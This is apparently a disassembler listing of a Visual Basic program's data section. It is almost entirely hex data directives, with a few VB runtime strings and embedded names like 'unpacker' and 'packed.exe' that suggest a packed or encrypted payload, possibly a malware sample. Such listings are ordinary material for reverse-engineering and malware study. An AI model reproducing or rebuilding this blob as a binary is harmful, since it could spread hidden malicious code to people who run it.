		dd 6E296AA8h, 3B970BF6h, 0D225A321h, 8D5E0446h,	4F7EE23Dh
		dd 316A272Dh, 84FB9DC6h, 0EF8334B7h, 0C6BECF13h, 55C06A27h
		dd 38B436A2h, 65E7988Eh, 0A0E361F5h, 5A8F682Eh,	97D0BAF9h
		dd 9BC8AB1Bh, 239E5EEAh, 5676B1F1h, 9A642A87h, 29Dh, 45FA7272h
		dd 0A31490D7h, 2BB31B1h, 62DB5316h, 0C479F5F6h,	7C7F1CD0h
		dd 0A0DD3F80h, 0C3819324h, 6660F045h, 0E97555EAh, 2AAC4475h
		dd 6F2D3A6Ch, 9925A3DDh, 16F6A0C5h, 0C7E90B62h,	0AA26A03Ch
		dd 0DA5E1315h, 59DD9A40h, 17EB0EEDh, 2E2BBDC3h,	8CC41668h
		dd 3A3DBE08h, 26BA04F7h, 3A3DB934h, 204D1558h, 3C7FD86Ch
		dd 3C514382h, 2A027Ah, 62F80000h, 0C410EB63h, 0A63438C9h
		dd 2EC238B2h, 0A1392468h, 0BF423ABBh, 0B6E68B8Fh, 0AC2B6C20h
		dd 6606CF09h, 0C75F7A3Bh, 0BD000000h, 0F44A3DDh, 3DB83B8Bh
		dd 54D09371h, 8AC416EAh, 6F69EB0Eh, 85C745F1h, 6D4B60Fh
		dd 0AE34CF47h, 6A27B7ADh, 5FE05C1Eh, 0B90583FDh, 3FB53725h
		dd 50D48D8Fh, 0CDA222D5h, 567BD74Bh, 8A88E2Ch, 0BADD8865h
		dd 3C4E4087h, 0FE24BE41h, 92682EF8h, 0EB0581C6h, 48ED68ECh
		dd 0B92123DCh, 276A5BA5h, 0D004E06Eh, 6A290AA9h, 0AE9164D7h
		dd 0A69A2FB3h, 0BF3B82DAh, 0DA5E15F7h, 5611CB27h, 0F4F765DAh
		dd 56E0AC78h, 8931815Dh, 174F7h, 0D3490500h, 6DE9EE6Ah
		dd 8C0848C8h, 2CA8292Bh, 52CE898Bh, 1073EBEDh, 0F662DB57h
		dd 5AC67FF7h, 3527981Ch, 2A783DBBh, 0AD7B02D6h,	8056C2Ah
		dd 26A2DD88h, 4BC18391h, 38C926F2h, 38B2A634h, 24682EC2h
		dd 0E4898D39h, 296C20B6h, 4CD0BAEh, 2C7A3B66h, 0ABDC8D99h
		dd 4BAEB3FAh, 84DAh, 0A3DD3E00h, 24A7B525h, 96118FC9h
		dd 76B04B28h, 0EF5FDB94h, 27B7F06Bh, 8B01436Ah,	28A42632h
		dd 55D7A89Eh, 0DF0311C5h, 0EC6F682Eh, 2024DD4Bh, 4EFDA6BAh
		dd 0A4976E27h, 2FAB2436h, 4DC98A96h, 5DD91783h,	0D8A65481h
		dd 0C9h, 11A61E5Eh, 7FC04403h, 0DE67E59Dh, 3E870742h, 9025A122h
		dd 28ABC804h, 4C090BACh, 0F7ED6FD0h, 124CCC71h,	0BD812196h
		dd 2AAE1059h, 23E16E6Ch, 9126A2DDh, 0F24BC183h,	25A3DD26h
		dd 4103D9B5h, 0BC9E2FCBh, 75E06A27h, 84C64482h,	72ED6B69h
		dd 0A2A65BCDh, 0B72A2438h, 0DB466824h, 5ADE9547h, 0EBE567A7h
		dd 34D0540Ch, 0FD423DB9h, 7CF8FB61h, 0E75D1FF9h, 217F357h
		dd 1AFD357Fh, 49C78157h, 35771AF4h, 1E4EBFE5h, 0C3BD1FE2h
		dd 2E863493h, 98413D6h,	0C78C21BDh, 275B9D6Ah, 4DF97576h
		dd 4CC833AEh, 93259115h, 6567B9FCh, 88CA56EFh, 0C6BECF13h
		dd 55C02550h, 2F79350Ch, 0F477E93Bh, 3B44Ah, 8AEA0000h
		dd 2BA1DDD6h, 413FB99Bh, 0DB5117F5h, 70ECE96Bh,	8F0B44C6h
		dd 26A2DD3Fh, 0BF3FBA98h, 0D7550D0Fh, 6AEEE567h, 486868DCh
		dd 8900000Fh, 0EC832404h, 24348904h, 81E28952h,	4C2h, 4EA8100h
		dd 87000000h, 895C2414h, 6268241Ch, 89000015h, 18BB241Ch
		dd 817C6F3Bh, 9DCA30C3h, 5BDE8989h, 4EC81h, 24890000h
		dd 24048324h, 0EC815B04h, 4, 81243489h,	33502434h, 438F0EE6h
		dd 8738108h, 0EE63350h,	5B2434FFh, 4C481h, 34FF0000h, 0C4835E24h
		dd 3041E904h, 6EC9FFFBh, 520E6FAFh, 25BE1C91h, 7CCBE80Eh
		dd 0D1371B8h, 0FFC50306h, 0BC81D0E0h, 53C36A6Bh, 0EB0E3950h
		dd 520E4A23h, 5242957Bh, 57558D08h, 0E53BFB1Ch,	0EDC9609h
		dd 0F932094Bh, 9347F33Fh, 0D30D3F26h, 61811723h, 0D41E0066h
		dd 0CE87Bh, 6A180000h, 20D698B1h, 2AD55634h, 5160ED95h
		dd 0F78B6659h, 0CE95F61h, 76000000h, 9D3A43B2h,	7F2E2140h
		dd 81313E51h, 643DC7h, 0D2BF0F00h, 870FDB33h, 0Bh, 6E9h
		dd 3329DB00h, 0FFCA1510h, 0DE93B34h, 0FE000000h, 526D3610h
		dd 0F683364Eh, 6E07CE64h, 10E858h, 670A0000h, 880C8204h
		dd 0FF037462h
		dd 8E88A82Dh, 0C981654Bh, 7F12B75h, 4BE88159h, 0B627968Dh
		dd 94C08185h, 0BA0147AEh, 2EAB5311h, 0CBBEF081h, 60517061h
		dd 0B70F5F51h, 895A61C8h, 0BF0F1F04h, 0F0B70FD0h, 13E6EB81h
		dd 880F7D01h, 5, 62AE13B9h, 0E2C38174h,	0E97D0113h, 0Dh
		dd 634D958Ah, 0D878D84Bh, 0EA2164DFh, 0BCFB81EFh, 0FFFFF9Ch
		dd 1785h, 8F0F00h, 0E9000000h, 1Fh, 1ACAA660h, 5BF13AAh
		dd 1C197339h, 840Fh, 4CE90000h,	0EEFFFFFFh, 0B20D3F7h
		dd 0E84BA37Eh, 0Ah, 380AB2C7h, 6C114463h, 0FE91DDCh, 0C8000000h
		dd 180D43FBh, 0CF5A4010h, 809EE5ACh, 52594043h,	7E8h, 55B80A00h
		dd 972C7A4Bh, 0C181585Ah, 5E0Ah, 3EBE63B0h, 0E8000017h
		dd 0Eh,	0FB9FA494h, 7CE9F098h, 1A20FC8Dh, 50563088h, 8B5A5A5Fh
		dd 12E919h, 2FCA0000h, 0E1800C9Ah, 0D2C97D21h, 0DB460C40h
		dd 48F8B604h, 0CB84F381h, 20B862D9h, 811F2F2Dh,	541C59F3h
		dd 870F02h, 81000000h, 44E0F3h,	53D38B0Dh, 9E9h, 0B92A2100h
		dd 462D05BBh, 18F84DAh,	81ACCE80h, 31E973E9h, 1A8D0F0Ch
		dd 56000000h, 13E9h, 9189E200h,	90CDD929h, 2ECC59Eh, 0FB98BC16h
		dd 0D2111F3h, 6FC1815Ah, 0E90C31E9h, 6,	4A2B4047h, 0F4E285Fh
		dd 1F85h, 0B8666000h, 61F87DF6h, 2DE9h,	94416B00h, 1ABC78ACh
		dd 0FA90E9ECh, 0E544A7F2h, 5CF0E5A6h, 0FF51E9F5h, 0FF7EFFFFh
		dd 66FD73Eh, 0EA56D3EDh, 6B03805Eh, 0E456E5F4h,	5CE96118h
		dd 0C5000001h, 4377E705h, 5F6D5C3Ah, 61706E75h,	72656B63h
		dd 63617000h, 2E64656Bh, 657865h, 3Ah dup(0)
		db    0
		db 2 dup(0), 33h
aCannotFindS_Pl	db 'Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain	db 'ThunRTMain',0
a__vbavartstne	db '__vbaVarTstNe',0
aEJs		db 'E"J',1Bh,0
		align 4
		dd 0D19DC68h, 65B8E906h, 0E868FFFAh, 0E9060D1Ah, 0FFFA65AEh
		dd 0D1C3B68h, 65A4E906h, 368FFFAh, 0E9060D1Dh, 0FFFA659Ah
		dd 0D1D4968h, 6590E906h, 0B68FFFAh, 0E9060D1Eh,	0FFFA6586h
		dd 0D1E7E68h, 657CE906h, 0EB68FFFAh, 0E9060D1Eh, 0FFFA6572h
		dd 0D25A368h, 6568E906h, 2368FFFAh, 0E9060D26h,	0FFFA655Eh
		dd 0D26CF68h, 6554E906h, 9068FFFAh, 0E9060D27h,	0FFFA654Ah
		dd 0D27EA68h, 6540E906h, 9668FFFAh, 0E9060D28h,	0FFFA6536h
		dd 0D297768h, 652CE906h, 1A68FFFAh, 0E9060D2Ah,	0FFFA6522h
		dd 0D307268h, 6518E906h, 6F68FFFAh, 0E9060D31h,	0FFFA650Eh
		dd 0D321968h, 6504E906h, 0F0D7FFFAh, 0B78D40A8h, 684499E1h
		dd 0DA3BD63Eh, 96F36E76h, 0DF9BBAC2h, 55BDEBC4h, 0EFF759B8h
		dd 3A421072h, 7199CF27h, 85393ADEh, 0C50300D3h,	3779C75Dh
		dd 0C094ED31h, 0C1101E56h, 0B48F8253h, 0A2BE24E4h, 0F6441E44h
		dd 0ED0E1C7Bh, 54D2723Fh, 0EDA7EDC5h, 0F761370Ch, 2DE7EFBFh
		dd 0C1FA58DFh, 5B0BFF58h, 8C293F1h, 0E749D531h,	4A264EA8h
		dd 4F07F139h, 0C17AC59Fh, 810F34E8h, 0BC9D47B1h, 4F07F1A7h
		dd 8A1E9C9Fh, 7256030Ah, 6A4AA77Ah, 0A1E66C3Ch,	68B5E1A8h
		dd 2Ch,	40146DCCh, 14CE9ED6h, 6C267F95h, 4A1E77CAh, 0C1D4999Ah
		dd 0C340F34h, 0C129910Ah, 6D61030Ah, 75C38087h,	0E44AB5E1h
		dd 8E000000h, 181E44A2h, 0E085CB9h, 6BEDB393h, 2C7250A9h
		dd 0DB81E17Ch, 85CB2801h, 104E8DC5h, 81050DC7h,	7E93FBA1h
		dd 12C43218h, 0E155A678h, 0A1050DCFh, 0CF1CA291h, 432E050Dh
		dd 7CD0D653h, 7C7EF83h,	0C49EC70Dh, 6CCF0B65h, 50D6BCAh
		dd 8472BA8Ah, 0F97A00C0h, 0F343F1Ch, 0D67C84ACh, 9729E3B0h
		dd 0A4012A4h, 0A2625203h, 9CB51F18h, 21110935h,	0EEB4966Bh
		dd 0D66C3C68h, 904A1E7Bh, 9ADBF7AAh, 0E1A140AEh, 0F8DE33E9h
		dd 126FF292h, 0B6D36BD4h, 0A3930503h, 50C7E27Bh, 0EF650911h
		dd 18E28Eh, 31177E00h, 8ADC3429h, 0C791EF62h, 1F45A2BFh
		dd 6B391AF7h, 6B78F203h, 0DF325A0Eh, 914C94C4h,	4A87EFB5h
		dd 41DE266Ch, 0D2E254A7h, 32A20300h, 1341A2B8h,	0B0EB51CBh
		dd 12C84936h, 66FBABh, 95B8325Ah, 936C267Fh, 0F34C1DAh
		dd 0E41FCC3Ah, 28801BF6h, 4DAC76E0h, 70342276h,	0B4EF53D0h
		dd 0A3A7030Ah, 3B1BF649h, 0E3A3E355h, 0E1EA2A69h, 10EF1B5h
		dd 0A2770000h, 0A2441E44h, 0DCBED51h, 53AADF05h, 0FF92606Fh
		dd 95933303h, 0FB7D2B04h, 0D904600h, 7DFE9005h,	50D98B9h
		dd 7854C9F9h, 0AC7C282Eh, 0C32B7151h, 0F462280Eh, 17AF8822h
		dd 57050D98h, 7F95BF6Fh, 98F34BB4h, 83B3050Dh, 59B6815Bh
		dd 0E90F34CCh, 7D6BB1D9h, 6FC86238h, 30AB3D7h, 0AF5AF97h
		dd 30AB3B4h, 461CCCF4h,	356024F5h, 0CC1AE409h, 1F45A2ADh
		dd 2C0D1311h, 0F6D32EE4h, 0F97FC730h, 0F73F0503h, 49AAA7CFh
		dd 9C71021Bh, 0BDB30911h, 17D620h, 25634A00h, 7E2000DDh
		dd 0CB9DFB16h, 349AEA3h, 5F0566FBh, 776CE637h, 2B264E1Ah
		dd 9D7098C8h, 568BD381h, 4DC22A70h, 0D1F648ABh,	2EB60300h
		dd 0EE43E554h, 0ED51C288h, 0CC050DCBh, 0F8C8A4F2h, 79F8D528h
		dd 0D0398F1Fh, 0DA8D69C0h, 0B8E0A492h, 0D1A11CE2h, 3B2D3454h
		dd 50A9636Bh, 0E37E2E70h, 2D991B83h, 62480100h,	0AA89603Ah
		dd 47338B74h, 4373050Dh, 0A9034B1Bh, 181E44A2h,	0EBF359B9h
		dd 0AAFCD831h, 90F59B7h, 41878D5Dh, 88B0E4C1h, 0EC2061D2h
		dd 72D00F34h, 0AD63D81h, 0D357D03h, 0C437C90Bh,	30AD672h
		dd 0E1420232h, 30AD659h, 50B73D11h, 0B5E183F3h,	0EFBAh
		dd 9369BE00h, 0B51B188h, 0C293F15Bh, 0EF6E2F08h, 439E0F34h
		dd 81C53365h, 85643C59h, 0CE2DFDABh, 57A47F1Ah,	0D72CBAA8h
		dd 97DF9781h, 5AF60FFDh, 192AA78Bh, 0A5E1573Dh,	2417AD7Dh
		dd 0DDA9468Bh, 73253C1Dh, 5EE05385h, 1ED19769h,	423EEE16h
		dd 24228472h, 2E03A57Fh, 65C686CCh, 0DBA9EED7h,	4C5FFF4Dh
		dd 622153C2h, 9DA32D91h, 1D456DD7h, 0EBA1914Dh,	0E96F3516h
		dd 0FA57EDBDh, 0B3AEB69Ch, 3A0CCB53h, 0CADF34E5h, 4870B8EEh
		dd 8EF1A8D1h, 97F66C36h, 1683h,	8AD2B699h, 0C32B7D57h
		dd 10782E0Eh, 0A8B0E4FDh, 0E40C58B5h, 0A98A1955h, 1B7E93FBh
		dd 0D6302D35h, 8DE57880h, 44E0BFC7h, 0D743FBh, 19930303h
		dd 4EF043E5h, 0E050DCBh, 0BB9B6626h, 83C163D5h,	0CB4FF740h
		dd 0F20F050Dh, 1252C492h, 0FE8A2EAh, 0F34EC4Ah,	88628ABAh
		dd 0B1889369h, 5C080E52h, 1340868Ch, 0EFC1FE79h, 1310F34h
		dd 0D2CF75F4h, 0E75588D5h, 0DB3B6681h, 0C6318B75h, 9EF45E0Eh
		dd 932C0FC5h, 238E1B5Ch, 45832513h, 43F97A10h, 0FF881BF4h
		dd 38E26571h, 302D1A26h, 0DC888ED0h, 1A70FE94h,	58EDEF80h
		dd 0D21A4EA7h, 0AA5CD36Ch, 7E2E7911h, 276D45A4h, 7E2402DFh
		dd 0FCD8E8E7h, 6F0E0487h, 15BBh, 0F21A4EA1h, 0B53051Fh
		dd 58A0F6D6h, 90F8AC85h, 2C34607Dh, 7152510Dh, 2306DB23h
		dd 9EF8157Dh, 55ADA0C8h, 8C28E70Fh, 0D60BB3h, 61DB4B03h
		dd 37D844A2h, 381FE6Ah,	0FA9F76BEh, 6091F06h, 15756D00h
		dd 84EB0000h, 43A1BCC4h, 3C18F51Dh, 0F6CF026Ah,	0AA875AA2h
		dd 0B4796FEh, 81E9BF98h, 0DB23754Ch, 167E2406h,	0ADB59BFBh
		dd 51E556F2h, 110300D6h, 44A22B81h, 588E181Eh, 0DDF6411Bh
		dd 6D0F34F3h, 24EB3D45h, 0B1FA796Fh, 510C6832h,	288E6923h
		dd 68030A9Ch, 0F97A1058h, 933B8BCh, 14AE644Ch, 0D80932Bh
		dd 23E3D305h, 58612B26h, 0B5D39855h, 0AA902AE0h, 60D91544h
		dd 5C6DD3E2h, 8FCF218Bh, 0F253D070h, 42939CFAh,	1F194FA7h
		dd 94752F57h, 0A96BEDBBh, 0A2D5E84Eh, 5098A89Fh, 0C8A431EEh
		dd 0CD9DBAB6h, 0EA8BD96Bh, 4C79C730h, 0FDC5959Ch, 0A6ECCA27h
		dd 0FDA3835Eh, 7A527B64h, 2A43B96Ch, 14B3h, 0FA0246A9h
		dd 335B0D67h, 40A8FEDEh, 98E0B48Dh, 0D43C6845h,	795A4905h
		dd 2B0EC32Bh, 0E6C01D65h, 5DB5A8B0h, 9430EFF7h,	0D513ABh
		dd 69C35303h, 0AC2F04E5h, 54100650h, 0AA7A2A2Ch, 0DCBF549h
		dd 0FB70CA05h, 0F34F050Dh, 95050DEBh, 5E0E58B4h, 0DCB5DDDh
		dd 96613B05h, 50DCB20h,	87712701h, 430333CFh, 5BB298FEh
		dd 91FCE4Ah, 401568EEh,	0DC000014h, 9A779FC9h, 4D80E8BEh
		dd 0DD2573h, 0F8157D23h, 90A1C99Fh, 0A4F0CDD6h,	0FEA2815Ch
		dd 491F7B96h, 80D62C21h, 320DA778h, 300D58Ch, 95EE44CCh
		dd 0F34BB47Fh, 0D2050DCBh, 0E2D2AEF4h, 0ED4EE0BAh, 50DCB49h
		dd 0D3693909h, 0A9613339h, 5B3B837Ch, 4B7B050Dh, 0E3E680C5h
		dd 8A0BC023h, 0DBEB0F34h, 188C6D42h, 3449CF03h,	13D3h
		dd 0DA226649h, 137B2D07h, 0A0C89EFEh, 0F80054ADh, 345C0865h
		dd 197A69E5h, 0CB2E234Bh, 86E07D85h, 7D5588D0h,	0B450CF17h
		dd 0D5F34Bh, 4923B303h,	0EBCB44A2h, 0C126B3A5h,	0A1E99D9Bh
		dd 462FF79h, 70E6AA8Bh,	590A0C34h, 194FAA87h, 0A0A70D49h
		dd 0AFDA66E3h, 29AAh, 43E5AE00h, 0DCB4EF0h, 45136F05h
		dd 0D7DF93D3h, 0CB863437h, 4FA7050Dh, 9E02F119h, 0BB05E054h
		dd 57C1095Fh, 135236h, 17E54200h, 0C4E4602Dh, 35A5AB70h
		dd 0BBC3D8CCh, 6141DC8Ch, 7D6B3D3Bh, 4AF549AAh,	8DB5050Dh
		dd 14F58F45h, 0BFBC6C3Ah, 0F344832h, 0F01A6252h, 6E381492h
		dd 0DE74BCE8h, 3B3D6343h, 3601DB8Bh, 93361F9h, 8E633909h
		dd 0C127E7ADh
		dd 0F5E47450h, 0FAAE8BA0h, 8EC6487Ch, 1179A1DAh, 0DD559E2h
		dd 36187805h, 8FD1332Eh, 95F24F89h, 0E0563C1Ah,	0CAFA7CA4h
		dd 2B2D7B57h, 7256AB7Bh, 52AF2A2Ch, 0A5811006h,	176B79FFh
		dd 5703189Dh, 0E1B78D5Dh, 89543399h, 839EAFDAh,	0D02FFFA1h
		dd 1CAh, 267F9514h, 0C2BE936Ch,	161E0F34h, 0EADF8E7Ch
		dd 166539A2h, 0D826F076h, 36906EDDh, 0C05D0DF8h, 0BB56BEE0h
		dd 0EF5DF759h, 29092E87h, 0E2F2FD63h, 0C0BBBD6Dh, 30A517Ah
		dd 20167A5Bh, 0FADE51B1h, 0BAE2A294h, 0E2CA2EBCh, 101EBADDh
		dd 49BAF2E3h, 3256F682h, 9EC020BAh, 0FDA6AC76h,	0C36BD427h
		dd 0EBDB0933h, 0A9FFD831h, 80E58B4h, 2FAA8C5Ch,	0E37E86D2h
		dd 3238D286h, 58BBC1E1h, 0D8460E08h, 0B1516AE2h, 418034B7h
		dd 0C55F050Dh, 0D0AB1977h, 24E4FE5Bh, 0D132CC20h, 1370C983h
		dd 0CB9BCB4Dh, 246A4E83h, 2C09E032h, 16B6FE78h,	0F167290Bh
		dd 0A1787C66h, 31276948h, 97A214E7h, 0D2E2050Dh, 0D67FAAAh
		dd 97BB815Bh, 1A1D1A62h, 0B01A7212h, 0AFDA8AD3h, 7220021Fh
		dd 224DD2h, 56AB0000h, 7E362076h, 41A234AEh, 5BB42513h
		dd 0CA880B0Dh, 792F08E2h, 6BCC8B11h, 0CB53AFDAh, 91000000h
		dd 6C267F95h, 4D1B77CAh, 0F4E99E9Dh, 0EC090F34h, 1F57C197h
		dd 90F061D7h, 49ABA6CEh, 0B4A2F0D2h, 0D34EC8F0h, 28A9AFF1h
		dd 9187C9h, 15847224h, 0B8EC6A3Eh, 0F8BD37A3h, 0C437C963h
		dd 30ADE72h, 6420232h, 92C4DCAEh, 80A3E04Ah, 716AB5E1h
		dd 0EE000000h, 6F257E95h, 0DCBDA8Ch, 273D1C05h,	52DD171h
		dd 0C391F24Fh, 0EB08355h, 4E050DCBh, 886E3E66h,	28F4E04Eh
		dd 38ED17ADh, 0CB9BC925h, 0DA3D268h, 0AB860005h, 55110749h
		dd 1ACA9CF8h, 8923F6FEh, 0DA108AEh, 0A8784805h,	643E6562h
		dd 0DA1D39Bh, 49033305h, 76CC7FE3h, 0DFB3185h, 0DF417105h
		dd 0AB7B97C4h, 3710E9A3h, 7A0A161h, 0D8000000h,	445Eh
		dd 42A2DA00h, 5DB72214h, 0DD3C38CDh, 0F85538EAh, 7880C89Eh
		dd 5FD98FE5h, 57C192F5h, 0D3D65D4h, 0F7FDD105h,	0B8ECC920h
		dd 239B64BEh, 63FAF2C2h, 0A5252B53h, 81F8083Eh,	86CD8747h
		dd 0DAFDA09h, 0B30h, 2A04E5CBh,	6D66AC7Ch, 7447383Eh, 0C88B5097h
		dd 0F049E0D4h, 1A4ACC92h, 9BC3804Ah, 374A3985h,	0AE000000h
		dd 9963F040h, 0A76770ECh, 2C04E53Dh, 6F60AA7Ah,	2195663Ch
		dd 47050DCBh, 0F54800F9h, 0FAAAC299h, 47383E06h, 0AC987DA1h
		dd 54BB3115h, 594DF7EFh, 27EB6h, 7295B200h, 0B2B64B21h
		dd 441E44A2h, 8B1D02F6h, 91F0E80Eh, 0D51D49CFh,	0DE5A4F35h
		dd 0DA5F7ED5h, 279A60B2h, 0B821EA8Fh, 7E916E3Eh, 57000000h
		dd 7B2D04E5h, 51071CFDh, 0A767AFE7h, 43396A6Dh,	0CBA11AE5h
		dd 4E1050Dh, 9B31792Fh,	0CBC076C1h, 7680050Dh, 2950B199h
		dd 52F23AD9h, 0F043E5A8h, 50DCB4Eh, 0DC66260Eh,	0ECB4343Ah
		dd 17DB2C7Dh, 17E58D77h, 0CD20F069h, 0B9B1B0EFh, 14CB1B74h
		dd 0C7213CECh, 43E5DB91h, 0DCB4EF0h, 6C260E05h,	0DCB2B93h
		dd 8B5B6B05h, 43E564D8h, 0DCB4EF0h, 2B260E05h, 84C585CBh
		dd 23h,	2172953Ch, 0A11AE54Bh, 0A8050DCBh, 43E5601Ah, 50C389EEh
		dd 50DCBEEh, 3CC686AEh,	1442A2BAh, 0BC48CC5Eh, 0CA6FB5D1h
		dd 55BDEBC4h, 510762FFh, 4C1A7AE7h, 99F94404h, 9D60D621h
		dd 10204FD3h, 93EC61E8h, 0E1C35CC5h, 21996C79h,	0CDF56B4Ah
		dd 0A5EBCE4Bh, 0EEC6DCB3h, 0D7DD39C9h, 1C792F07h, 0E7BDE3C3h
		dd 0FC7A280Ah, 771118C8h, 0DA7CC6F1h, 0D383E559h, 6B48A54Fh
		dd 4B733325h, 0E5757F9Bh, 0A1B2C78Dh, 0A7EDCE41h, 44CDF5B1h
		dd 0C228EECBh, 8023B14Ah, 88DE3A13h, 1EA38040h,	5E4FD393h
		dd 3B1FEF56h, 2E909EB1h, 4E1BF30Ah, 9D102628h, 0FA1849E5h
		dd 0A9FFD72Ah, 0C132D44Ch, 4FD3977Dh, 4ECAEB4Fh, 966AF7D5h
		dd 663FEAEh, 0A7BEE452h, 7F0FE5FDh, 332E3662h, 0B848DD3h
		dd 5C08B12Eh, 78484FD3h, 77CA0EF1h, 7B9F4F19h, 0D3B99971h
		dd 22946739h, 624FD35Ch, 8A57B252h, 297FE6ACh, 79C79D14h
		dd 8E67A0AEh, 0E1E5A560h, 4D13730Bh, 81D72F28h,	7E2A0798h
		dd 4CAD77F7h, 0E3352375h, 0D3AEAE10h, 9EC6EE4Fh, 48228ACEh
		dd 936E246Ah, 3E76E0B0h, 43A96B6Eh, 7995C9ECh, 2710CAE8h
		dd 4FD36F9Fh, 4D37D7DFh, 641E44A2h, 4E5B2B6h, 0E888BC2Ch
		dd 0E93E5671h, 3C2BE1A1h, 0DA0250B2h, 0D5DE5A20h, 0B2DA5F7Eh
		dd 2225h, 7E952300h, 1AE54F25h,	50DCBA1h, 7E2804E1h, 63E5BC36h
		dd 0EEC546A2h, 0CCF872BAh, 255E48h, 95DA0000h, 0E54F257Eh
		dd 0DCBA11Ah, 601AA805h, 46A263E5h, 0CB0DB182h,	654D050Dh
		dd 3C6875FBh, 88B03F7Fh, 0E548CCF2h, 0E77A2C04h, 2D59DF89h
		dd 0FDBEFE7Dh, 1CB6050Dh, 9D70243Dh, 2363D583h,	0FD2B6263h
		dd 0BC9EFFFFh, 50DCBFEh, 1371F7E8h, 0C19BCB4Dh,	0DCBC076h
		dd 88B08005h, 0C593ED60h, 0CB66D853h, 0ACB4050Dh, 56B648h
		dd 1B9AF74Ah, 34226A3Eh, 0E2B8D070h, 0BF4320Fh,	50DCBB3h
		dd 9D9BC3F3h, 0CC2439E9h, 0BBA8729Ah, 0C0FD7EF8h, 38C3E7B6h
		dd 0A49D024h, 0D4F230BAh, 5AA51D75h, 475B80E4h,	0BE549CA4h
		dd 5B80F9BDh, 0D989B947h, 1C446h, 0FFBC8200h, 0E9050DCBh
		dd 17E0BAFBh, 0F349EA6h, 0BC62E16h, 0FA17B2Dh, 0AE18A2Ch
		dd 2AFACA03h, 21774DCCh, 0CD4EAA37h, 2BB6A0F4h,	295199CFh
		dd 164F852Fh, 0E32A837Ch, 0BA8A0933h, 1FA356A3h, 411C1209h
		dd 0D1Bh, 127A2E01h, 0ABB3E5FFh, 0F80056B6h, 30580C65h
		dd 4C94C0DDh, 0D132B1ADh, 83E67B83h, 7E58B5DDh,	350DC028h
		dd 0EC88076Fh, 0EEAB13h, 817BEB03h, 181E44A2h, 0E8CE588Eh
		dd 57A07AA2h, 0F3EF25Eh, 0FD5CF63Eh, 0B0ADB5E3h, 0C2140254h
		dd 2AB8737Ch, 0AC7C00D7h, 9EFE7151h, 2A52061Dh,	0B4D274E2h
		dd 0AE3C827Dh, 347C0300h, 61A9FFD9h, 0FD7748ABh, 0F370939h
		dd 157AB516h, 0E4F97F09h, 0C9Bh, 92FAAE81h, 2B33657Fh
		dd 7880D636h, 0B0D88CE5h, 0CC14405Dh, 51B2312Dh, 366FB03h
		dd 0FED8355Dh, 0B58D40A8h, 6C0887EFh, 0ED2B93h,	1FB6B03h
		dd 181E44A2h, 411B588Eh, 0CBEA4CAFh, 9AAA050Dh,	32C730CAh
		dd 820F34C7h, 5FB7AAB2h, 91C70CFh, 65ADB7C2h, 58D241AFh
		dd 86F7B94Bh, 6E648EC6h, 0BE9C9F35h, 0D809396Ch, 8FE46741h
		dd 0DF191D9h, 0B2926F25h, 42318576h, 41710507h,	5EB34919h
		dd 9F72287Eh, 0DC34D484h, 87712701h, 0A1833C1Ah, 54D79FFh
		dd 253B113h, 11D6EF48h,	0AE960F3Eh, 12165EB7h, 49241A03h
		dd 0BEFh, 264E1A6Dh, 7F87C92Bh,	8CD482E2h, 0C42C7051h
		dd 10782C09h, 3D1E85C1h, 0F7D20F57h, 0AA8459A1h, 197994FCh
		dd 0D0742B33h, 0EDDF67h, 0BD379F03h, 181E44A2h,	411B588Eh
		dd 34985DF6h, 0FC5ED0Fh, 0C080D632h, 0FC7F5588h, 6189B1E7h
		dd 0BEC690ECh, 267F95C4h, 0F4CE936Ch, 260E0F34h, 0DE03BF30h
		dd 0C622030Ah, 0DF3BA690h, 3D458F89h, 1276F2B7h, 12ED879Ah
		dd 30ADEACh, 4E04C4ECh,	0B5E18009h, 7690h, 46A25400h, 57A07A10h
		dd 50DCBEFh, 0AA8A87AFh, 9A4A7AFCh, 71273D9Ch, 573D1A87h
		dd 4E1070E1h, 0ADF61C26h, 0EBAB04F7h, 0DC3D0F34h, 9F595C3h
		dd 0AEF32039h, 0BBB10318h, 0B2E22h, 8DDB3200h, 0C688E865h
		dd 1345A3BEh, 6B3116CBh, 0A7EDCE03h, 0DFC4BE5Fh, 934E96C2h
		dd 4598E0B0h, 3ED33B69h, 0B56A72D8h
		dd 0EC9E2013h, 76DE0300h, 1046A2FCh, 51E9C8h, 0A2130000h
		dd 8C261046h, 0A5EBC846h, 11CBF3B3h, 34C98126h,	3811210Fh
		dd 318CDE5h, 0D480DD53h, 4800000Ah, 6DB2365h, 0F9147C22h
		dd 0ACA1C99Fh, 64F90157h, 0E4355D0Bh, 481C796Ah, 82D62D20h
		dd 0DD8BE77Ah, 147A58B5h, 46B153CCh, 300ECF0h, 0A24A20B0h
		dd 0BB38C44h, 4B050DCBh, 54C5337Bh, 652E287Eh, 0D3B0971Dh
		dd 5AAFDA67h, 236h, 0B843699Eh,	0AB0CE2B2h, 67275518h
		dd 24FEA7ADh, 34D49ADBh, 3F5A6A0Fh, 0A344D93Ch,	0D89DCB74h
		dd 10043102h, 8CB4FAA4h, 361A7BD6h, 6DCE84C0h, 0F69A68C9h
		dd 0FE9B989h, 5CF6AFA5h, 0A4EF5DE3h, 3BD1E1FCh,	734FC026h
		dd 41A63325h, 43ABD31Bh, 6BE2A88Eh, 1381EFC0h, 289FFE74h
		dd 3400000Ah, 0F26F77D1h, 0A5B8C096h, 18F51D4Bh, 0D00D553Bh
		dd 0B859A1F7h, 9CC825BEh, 0D6BA9974h, 2177538Eh, 782E04D9h
		dd 1AE5BF10h, 300E3A4h,	0E5867CE4h, 0CB4EF043h,	260E050Dh
		dd 0D7B99B66h, 1A49B761h, 900CF3FDh, 0B79DFE53h, 5BD73D17h
		dd 37ED157Bh, 0C41CA29Dh, 545C050Dh, 0F554EEB4h, 0CE4BCD9Bh
		dd 0AB7BA3E9h, 3EFD1048h, 0C730CA0Fh, 300D37Fh,	0AB57F73Fh
		dd 0D3882E09h, 0F8C80300h, 88141AB0h, 28AA01A0h, 0D22FF595h
		dd 8459A1F7h, 0AB7DFBADh, 0D122F8BDh, 9396EB4h,	8B663C04h
		dd 338B74AAh, 73050760h, 0B14B1B43h, 7D177958h,	0C94C308Fh
		dd 928F22E4h, 3F77E1B7h, 8FEA676Fh, 0C82E03D9h,	9424F144h
		dd 0FB234F2Ch, 9F99497Dh, 48AB2402h, 2E561E18h,	14DB0637h
		dd 314CC209h, 947h, 4E96F2D5h, 87EFB193h, 0D43C6A4Ah, 6C74D839h
		dd 0B8C094F1h, 0E5C6DD99h, 5FBA57BFh, 126CE109h, 0C1213C44h
